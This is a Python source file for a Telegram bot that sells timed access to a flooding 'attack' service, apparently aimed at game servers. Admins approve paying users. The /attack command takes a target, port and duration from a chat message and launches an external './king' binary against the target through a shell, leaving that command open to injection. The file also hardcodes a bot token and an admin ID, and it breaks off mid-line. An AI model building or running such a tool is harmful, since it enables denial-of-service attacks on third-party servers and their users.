#!/usr/bin/python3 import os import telebot from flask import Flask, request import subprocess import requests import datetime import threading from dotenv import load_dotenv # Load environment variables load_dotenv() # Initialize Flask app app = Flask(__name__) # Get bot token from environment variables BOT_TOKEN = os.getenv('BOT_TOKEN', '8686080430:AAFdzAYwM4hNTsyiknJMIfBFTtSOHkgn-E8') bot = telebot.TeleBot(BOT_TOKEN) # Admin user IDs admin_id = ["7474658501"] # File to store allowed user IDs USER_FILE = "users.txt" # File to store command logs LOG_FILE = "log.txt" # Function to read user IDs from the file def read_users(): try: with open(USER_FILE, "r") as file: return file.read().splitlines() except FileNotFoundError: return [] # List to store allowed user IDs allowed_user_ids = read_users() # Function to log command to the file def log_command(user_id, target, port, time): admin_id = ["7474658501"] user_info = bot.get_chat(user_id) if user_info.username: username = "@" + user_info.username else: username = f"UserID: {user_id}" with open(LOG_FILE, "a") as file: # Open in "append" mode file.write(f"Username: {username}\nTarget: {target}\nPort: {port}\nTime: {time}\n\n") # Function to clear logs def clear_logs(): try: with open(LOG_FILE, "r+") as file: if file.read() == "": response = "Logs are already cleared. No data found." else: file.truncate(0) response = "Logs cleared successfully" except FileNotFoundError: response = "No logs found to clear." return response # Function to record command logs def record_command_logs(user_id, command, target=None, port=None, time=None): log_entry = f"UserID: {user_id} | Time: {datetime.datetime.now()} | Command: {command}" if target: log_entry += f" | Target: {target}" if port: log_entry += f" | Port: {port}" if time: log_entry += f" | Time: {time}" with open(LOG_FILE, "a") as file: file.write(log_entry + "\n") # Dictionary to store the approval expiry date for each user user_approval_expiry = {} # Function to calculate remaining approval time def get_remaining_approval_time(user_id): expiry_date = user_approval_expiry.get(user_id) if expiry_date: remaining_time = expiry_date - datetime.datetime.now() if remaining_time.days < 0: return "Expired" else: return str(remaining_time) else: return "N/A" # Function to add or update user approval expiry date def set_approval_expiry_date(user_id, duration, time_unit): current_time = datetime.datetime.now() if time_unit == "hour" or time_unit == "hours": expiry_date = current_time + datetime.timedelta(hours=duration) elif time_unit == "day" or time_unit == "days": expiry_date = current_time + datetime.timedelta(days=duration) elif time_unit == "week" or time_unit == "weeks": expiry_date = current_time + datetime.timedelta(weeks=duration) elif time_unit == "month" or time_unit == "months": expiry_date = current_time + datetime.timedelta(days=30 * duration) # Approximation of a month else: return False user_approval_expiry[user_id] = expiry_date return True # Command handler for adding a user with approval time @bot.message_handler(commands=['add']) def add_user(message): user_id = str(message.chat.id) if user_id in admin_id: command = message.text.split() if len(command) > 2: user_to_add = command[1] duration_str = command[2] try: duration = int(duration_str[:-4]) # Extract the numeric part of the duration if duration <= 0: raise ValueError time_unit = duration_str[-4:].lower() # Extract the time unit (e.g., 'hour', 'day', 'week', 'month') if time_unit not in ('hour', 'hours', 'day', 'days', 'week', 'weeks', 'month', 'months'): raise ValueError except ValueError: response = "Invalid duration format. Please provide a positive integer followed by 'hour(s)', 'day(s)', 'week(s)', or 'month(s)'." bot.reply_to(message, response) return if user_to_add not in allowed_user_ids: allowed_user_ids.append(user_to_add) with open(USER_FILE, "a") as file: file.write(f"{user_to_add}\n") if set_approval_expiry_date(user_to_add, duration, time_unit): response = f"User {user_to_add} added successfully for {duration} {time_unit}. Access will expire on {user_approval_expiry[user_to_add].strftime('%Y-%m-%d %H:%M:%S')}." else: response = "Failed to set approval expiry date. Please try again later." else: response = "User already exists." else: response = "Please specify a user ID and the duration (e.g., 1hour, 2days, 3weeks, 4months) to add." else: response = "Only admin can use this command." bot.reply_to(message, response) # Command handler for retrieving user info @bot.message_handler(commands=['myinfo']) def get_user_info(message): user_id = str(message.chat.id) user_info = bot.get_chat(user_id) username = user_info.username if user_info.username else "N/A" user_role = "Admin" if user_id in admin_id else "User" remaining_time = get_remaining_approval_time(user_id) response = f"Your Info:\n\nUser ID: {user_id}\nUsername: {username}\nRole: {user_role}\nApproval Expiry Date: {user_approval_expiry.get(user_id, 'Not Approved')}\nRemaining Approval Time: {remaining_time}" bot.reply_to(message, response, parse_mode="HTML") @bot.message_handler(commands=['remove']) def remove_user(message): user_id = str(message.chat.id) if user_id in admin_id: command = message.text.split() if len(command) > 1: user_to_remove = command[1] if user_to_remove in allowed_user_ids: allowed_user_ids.remove(user_to_remove) with open(USER_FILE, "w") as file: for user_id in allowed_user_ids: file.write(f"{user_id}\n") response = f"User {user_to_remove} removed successfully." else: response = f"User {user_to_remove} not found in the list." else: response = "Please Specify A User ID to Remove. Usage: /remove " else: response = "Only admin can use this command." bot.reply_to(message, response) @bot.message_handler(commands=['clearlogs']) def clear_logs_command(message): user_id = str(message.chat.id) if user_id in admin_id: try: with open(LOG_FILE, "r+") as file: log_content = file.read() if log_content.strip() == "": response = "Logs are already cleared. No data found." else: file.truncate(0) response = "Logs Cleared Successfully" except FileNotFoundError: response = "Logs are already cleared." else: response = "Only admin can use this command." bot.reply_to(message, response) @bot.message_handler(commands=['clearusers']) def clear_users_command(message): user_id = str(message.chat.id) if user_id in admin_id: try: with open(USER_FILE, "r+") as file: log_content = file.read() if log_content.strip() == "": response = "USERS are already cleared. No data found." else: file.truncate(0) response = "users Cleared Successfully" except FileNotFoundError: response = "users are already cleared." else: response = "Only admin can use this command." bot.reply_to(message, response) @bot.message_handler(commands=['allusers']) def show_all_users(message): user_id = str(message.chat.id) if user_id in admin_id: try: with open(USER_FILE, "r") as file: user_ids = file.read().splitlines() if user_ids: response = "Authorized Users:\n" for user_id in user_ids: try: user_info = bot.get_chat(int(user_id)) username = user_info.username response += f"- @{username} (ID: {user_id})\n" except Exception as e: response += f"- User ID: {user_id}\n" else: response = "No data found" except FileNotFoundError: response = "No data found" else: response = "Only admin can use this command." bot.reply_to(message, response) @bot.message_handler(commands=['logs']) def show_recent_logs(message): user_id = str(message.chat.id) if user_id in admin_id: if os.path.exists(LOG_FILE) and os.stat(LOG_FILE).st_size > 0: try: with open(LOG_FILE, "rb") as file: bot.send_document(message.chat.id, file) except FileNotFoundError: response = "No data found." bot.reply_to(message, response) else: response = "No data found" bot.reply_to(message, response) else: response = "Only admin can use this command." bot.reply_to(message, response) # Function to handle the reply when free users run the /attack command def start_attack_reply(message, target, port, time): user_info = message.from_user username = user_info.username if user_info.username else user_info.first_name response = f"{username}, ATTACK STARTED.\n\nTarget: {target}\nPort: {port}\nTime: {time} Seconds\nMethod: VIP" bot.reply_to(message, response) # Dictionary to store the last time each user ran the /attack command bgmi_cooldown = {} COOLDOWN_TIME = 0 # Handler for /attack command @bot.message_handler(commands=['attack']) def handle_attack(message): user_id = str(message.chat.id) if user_id in allowed_user_ids or user_id in admin_id: # Check if the user is in admin_id (admins have no cooldown) if user_id not in admin_id: # Check if the user has run the command before and is still within the cooldown period if user_id in bgmi_cooldown and (datetime.datetime.now() - bgmi_cooldown[user_id]).seconds < 0: response = "You Are On Cooldown. Please Wait 0sec Before Running The /attack Command Again." bot.reply_to(message, response) return # Update the last time the user ran the command bgmi_cooldown[user_id] = datetime.datetime.now() command = message.text.split() if len(command) == 4: # Updated to accept target, time, and port target = command[1] port = int(command[2]) # Convert time to integer time = int(command[3]) # Convert port to integer if time > 1000: response = "Error: Time interval must be less than 1000." bot.reply_to(message, response) return else: record_command_logs(user_id, '/attack', target, port, time) log_command(user_id, target, port, time) start_attack_reply(message, target, port, time) # Call start_attack_reply function # Execute king binary in isolated environment to prevent it from accessing bot original_token = bot.token def run_attack(): # Temporarily replace bot token to prevent king from sending messages bot.token = "INVALID_TOKEN" full_command = f"./king {target} {port} {time} 500" result = subprocess.run(full_command, shell=True, capture_output=True, text=True) # Restore original token bot.token = original_token completion_msg = f"Attack Finished. Target: {target} Port: {port} Time: {time} seconds" bot.send_message(message.chat.id, completion_msg) thread = threading.Thread(target=run_attack) thread.start() else: response = "Usage :- /attack